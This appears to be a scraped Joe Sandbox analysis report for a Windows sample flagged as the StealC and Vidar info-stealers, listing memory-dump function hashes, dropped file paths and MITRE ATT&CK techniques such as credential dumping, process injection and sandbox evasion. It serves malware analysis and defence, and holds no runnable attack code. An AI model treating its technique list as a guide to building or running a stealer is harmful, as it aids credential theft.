Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 2db3bba7e13b4994be89daef076b27c93a3fa56044cfc655a27edf42c0c0bcd6
Instruction ID: c005816eac53de3db2f64862330d05e188912859335dcd8631030355d99441d6
Opcode Fuzzy Hash: 2db3bba7e13b4994be89daef076b27c93a3fa56044cfc655a27edf42c0c0bcd6
Instruction Fuzzy Hash: 4931D471A112168FEB14CF59C98465AFBB9FFC1304F16C569C806AB201DB31E915CBE5

Function 6C5DF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5DF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5DF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DF668

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: f3efbb9df7ab69244732f3331dbab488b233a8e45ecd5aa99811ab534ae9bba5
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 35314F71A00314AFC714CF5DDCC0A9F77B5EB85358B188A39FA4A8BB05D632F9448B98

Function 6C5F26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F26C1
free.MOZGLUE(?), ref: 6C5F26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F26FF
free.MOZGLUE ref: 6C5F270D

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 155de90e8657adb84e35884fc56bae3f43477ba44312ac8d09c4cc45bfbd8ceb
Instruction ID: 836eab60d468a3676c8e9ebce83fa91ae8bd3a814d68d1400a0f09585e9a4d07
Opcode Fuzzy Hash: 155de90e8657adb84e35884fc56bae3f43477ba44312ac8d09c4cc45bfbd8ceb
Instruction Fuzzy Hash: D4F0F9F27012406BFB049A59DCC494BB3ADEF81258B500035EA2AC3B01E732F91ACAD7

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKEGIJEHJDGDHJKJKKJ

C:\ProgramData\BAKJKFHCAEGDHIDGDHDA

C:\ProgramData\BGHIIJDG

C:\ProgramData\ECBGHCGCBKFIECBFHIDGHDGIEG

C:\ProgramData\EHDAAECA

C:\ProgramData\FHDHCAAKECFIDHIEBAKFCGCFCB

C:\ProgramData\IECBGIDAEHCGDGCBKEBG

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre